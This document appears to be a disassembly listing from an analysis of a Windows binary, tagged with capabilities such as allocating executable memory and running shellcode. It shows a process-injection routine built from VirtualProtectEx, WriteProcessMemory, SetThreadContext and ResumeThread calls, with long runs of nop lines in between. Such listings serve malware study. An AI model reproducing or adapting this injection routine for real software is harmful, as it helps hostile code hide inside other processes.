Function at 0x48cf28
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff14
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.00405a64
xor eax, eax
push ebp
push 0x48d3ce
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 0xffffffff
lea eax, [ebp - 8]
push eax
mov ecx, esi
mov edx, dword [ebx + 0x34]
mov eax, dword [ebp - 4]
call fcn.0048c9b0
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0xc]
lea edx, [ebp - 0xec]
mov eax, dword [ebp - 8]
call fcn.0048cd5c
test al, al
je 0x48d3b3
xor eax, eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebx + 0x34]
cmp eax, dword [ebp - 0x10]
jne 0x48cfc8
cmp esi, dword [ebp - 0x14]
ja 0x48cfc8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x18]
push eax
push 0x40
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_VirtualProtectEx
jmp 0x48d034
call fcn.0048c9a4
test al, al
je 0x48d034
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0048ccf0
test al, al
je 0x48cff9
push 0x40
push 0x3000
push esi
mov eax, dword [ebx + 0x34]
push eax
mov eax, dword [ebp - 0xc]
push eax
call dword [0x575644]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x48d034
mov eax, ebx
call fcn.0048cc70
test al, al
je 0x48d034
push 0x40
push 0x3000
push esi
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [0x575644]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x48d034
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + 0x10]
mov eax, ebx
call fcn.0048cc88
cmp dword [ebp - 0x1c], 0
je 0x48d371
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x48]
add eax, 8
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x1c]
mov dword [ebx + 0x34], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x18]
push eax
push esi
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x48d317
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xec], 0x10007
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x10]
jne 0x48d121
mov edx, dword [ebx + 0x34]
add edx, dword [ebx + 0x28]
mov dword [ebp - 0x3c], edx
jmp 0x48d127
add edx, dword [ebx + 0x28]
mov dword [ebp - 0x3c], edx
cmp eax, dword [ebp - 0x3c]
je 0x48d2ae
xor eax, eax
mov edx, dword [0x582cac]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
sub edx, 6
je 0x48d1cf
sub edx, 4
jne 0x48d219
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [0x582cac]
mov edx, dword [edx]
cmp byte [edx + 4], 0
je 0x48d219
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x3c]
push eax
push 0x9fdd4
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov al, 1
jmp 0x48d219
mov edx, dword [0x582cac]
mov edx, dword [edx]
cmp byte [edx + 4], 0
je 0x48d219
mov edx, dword [0x582cac]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
dec edx
jne 0x48d219
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x3c]
push eax
push 0x8fdd4
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov al, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
test al, al
jne 0x48d2ae
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0xec]
push eax
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_SetThreadContext
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_ResumeThread
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x48d3b3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 0xc], 0xffffffff
jmp 0x48d3b3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 0xc], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48d3d5
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405608
ret